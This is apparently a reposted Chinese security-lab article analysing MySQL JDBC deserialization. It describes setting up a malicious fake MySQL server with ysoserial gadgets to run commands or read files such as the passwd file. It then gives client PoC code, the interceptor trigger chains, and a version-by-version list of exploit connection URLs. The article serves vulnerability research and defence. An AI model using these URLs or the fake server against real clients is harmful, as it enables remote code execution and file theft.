01
JDBC简介
String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));
}
02
漏洞复现
搭建一个恶意mysql服务器
修改config.json里的配置,将ysoserialPath的值 修改为ysoserial工具的位置
"config":{
"ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
}
修改yso的值,Jdk7u21名可任意,后面DB_URL地址要用到,为user的名 CommonsCollections5为ysoserial的Gadget的名,[]里面为要执行的命令
"yso":{
"Jdk7u21":[" CommonsCollections5","open -a calculator"]
}
2)文件读取
将fileread的文件路径设置为你想要读取的文件位置
python server.py 启动 ,默认端口为3306,可以修改
客户端连接测试代码
import java.sql.Connection;
import java.sql.DriverManager;
public class Test{
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=Jdk7u21";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=Jdk7u21";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
user设置为linux_passwd 读取文件
03
漏洞原理分析
ServerStatusDiffInterceptor触发方式
queryInterceptors是一个逗号分隔的Class列表,这些Class实现了com.mysql.cj.interceptors.QueryInterceptor接口。它们在执行Query之前和之后进行操作,从而影响结果。可以将其视为在Query执行前后插入操作的效果。
autoDeserialize是一个配置选项,用于自动检测和反序列化存储在BLOB字段中的对象。因此,如上所述,如果要触发queryInterceptors,需要触发SQL Query。在获取数据库连接时,会触发一些请求,如SET NAMES utf和set autocommit=1等,这些请求会触发我们配置的queryInterceptors。
ServerStatusDiffInterceptor的preProcess方法是在执行SQL Query之前需要执行的方法。它调用了populateMapWithSessionStatusValues方法。漏洞的触发点在com.mysql.cj.jdbc.result.ResultSetImpl.getObject()方法中,存在反序列化操作:
在JDBC连接数据库的过程中,会执行SHOW SESSION STATUS查询,并在处理结果时调用resultSetToMap方法进行进一步操作。
在这里我们还需要关注getObject方法的columnIndex参数的值,因为后面会用到它。到目前为止,我们已经找到了一个可利用的链条。首先设置拦截器,然后进入getObject方法,在getObject方法中,只要autoDeserialize为True,就可以进入最后的readObject方法。这也解释了POC中queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的来源。
detectCustomCollations触发方式
在这里,getObject方法与前文相同,不再重复说明。在这里只需要字段2或3为BLOB类型,用于存储我们的序列化数据。然而,从5.1.41版本开始,不再使用getObject方法获取SHOW COLLATION的结果,因此该方法失效。在5.1.18版本以下,同样不使用getObject方法获取SHOW COLLATION的结果,因此也无法使用该方法。
04
利用链总结
用户名是基于MySQL Fake Server工具的,具体使用中请自行修改。
ServerStatusDiffInterceptor触发
-
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc -
6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc -
5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc -
5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。 -
5.0.x:还没有ServerStatusDiffInterceptor这个东西
detectCustomCollations触发
-
5.1.41及以上:不可用 -
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc -
5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc -
5.1.18以下的5.1.x版本:不可用 -
5.0.x版本不可用
原文始发于微信公众号(山石网科安全技术研究院):MYSQL JDBC反序列化漏洞利用和分析